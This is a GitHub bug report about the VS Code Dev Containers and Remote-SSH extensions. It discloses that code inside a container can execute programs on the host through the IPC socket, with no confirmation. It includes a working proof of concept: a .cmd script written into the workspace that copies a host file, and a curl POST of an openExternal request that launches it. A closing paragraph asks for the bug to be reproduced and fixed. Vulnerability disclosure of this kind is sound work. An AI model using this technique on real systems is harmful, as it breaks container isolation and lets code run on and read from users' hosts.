Arbitrary code execution on host from container

Is there an existing issue for this bug?

• I have searched the existing open issues and found none that apply.
• If I find any issue of interest that is related or closed, I will included a link to it in this issue.

Required Troubleshooting Steps

• I have read and performed the troubleshooting steps
• I have tried both values of the remote.SSH.useLocalServer setting
• My issue was not covered in the Tips and Tricks linked from the Troubleshooting Wiki.
• I will include a complete copy of my Remote - SSH logs by running Remote-SSH: Show Log in the command palette or from View > Output in the menu bar

[Optional] Diagnose with Copilot

I asked @remote-ssh but it did not help

In step 2 of the troubleshooting wiki, what was the result of running the generated SSH command verbatim outside of VS Code?

I COULD successfully SSH to the remote machine with the generated SSH command

Remote-SSH Log

My previous issue was censored. MSRC did not accept my submissions.

The VS Code Dev Containers -extension allows for arbitrary code execution on the host from within the container, using the IPC socket. With no confirmations.

Create the script

echo '__@echo__ off copy "C:\temp\1.txt" "%~dp0result.txt"' > /workspace/run.cmd
Execute on host
curl -s --unix-socket "$VSCODE_IPC_HOOK_CLI" -X POST -H "Content-Type: application/json" -d '{"type":"openExternal","uris":["C:\Users\fffuu\Documents\DEV\Project1\run.cmd"]}' __http://localhost/__

Check result

sleep 2 && cat /workspace/result.txt

You can get the host's path to the workspace using findmnt /workspace
Confirmed on Windows 10, Dev Containers 0.406.0, VS Code Insiders 1.96.
This has enormous implications for running LLM's in a container ..

I just confirmed this also works over SSH, so it's not isolated to Dev Containers!

curl -s --unix-socket "$VSCODE_IPC_HOOK_CLI" -X POST -H "Content-Type: application/json" -d "{"type":"openExternal","uris":["C:\\Users\\fffuu\\Documents\\DEV\\ALProject1\\readfile.cmd"]}" __http://localhost/__

Expected Behavior

Container should not be allowed to execute code on the host !

Actual Behavior

Container can run ANY code on the host !

Steps To Reproduce

Create the script

echo '__@echo__ off copy "C:\temp\1.txt" "%~dp0result.txt"' > /workspace/run.cmd

Execute on host
curl -s --unix-socket "$VSCODE_IPC_HOOK_CLI" -X POST -H "Content-Type: application/json" -d '{"type":"openExternal","uris":["C:\Users\fffuu\Documents\DEV\Project1\run.cmd"]}' __http://localhost/__

Anything else?

I do not appreciate my efforts being disregarded, getting no acknowledgement and the origina ticket being censored.
https://github.com/microsoft/vscode-remote-release/issues/11426

Start by reproducing the Windows 10 case with the VSCODE_IPC_HOOK_CLI Unix socket and the openExternal request shown in the issue, then trace the Dev Containers IPC handling. Done means code running inside a container can no longer execute arbitrary commands on the host without an appropriate security boundary or confirmation.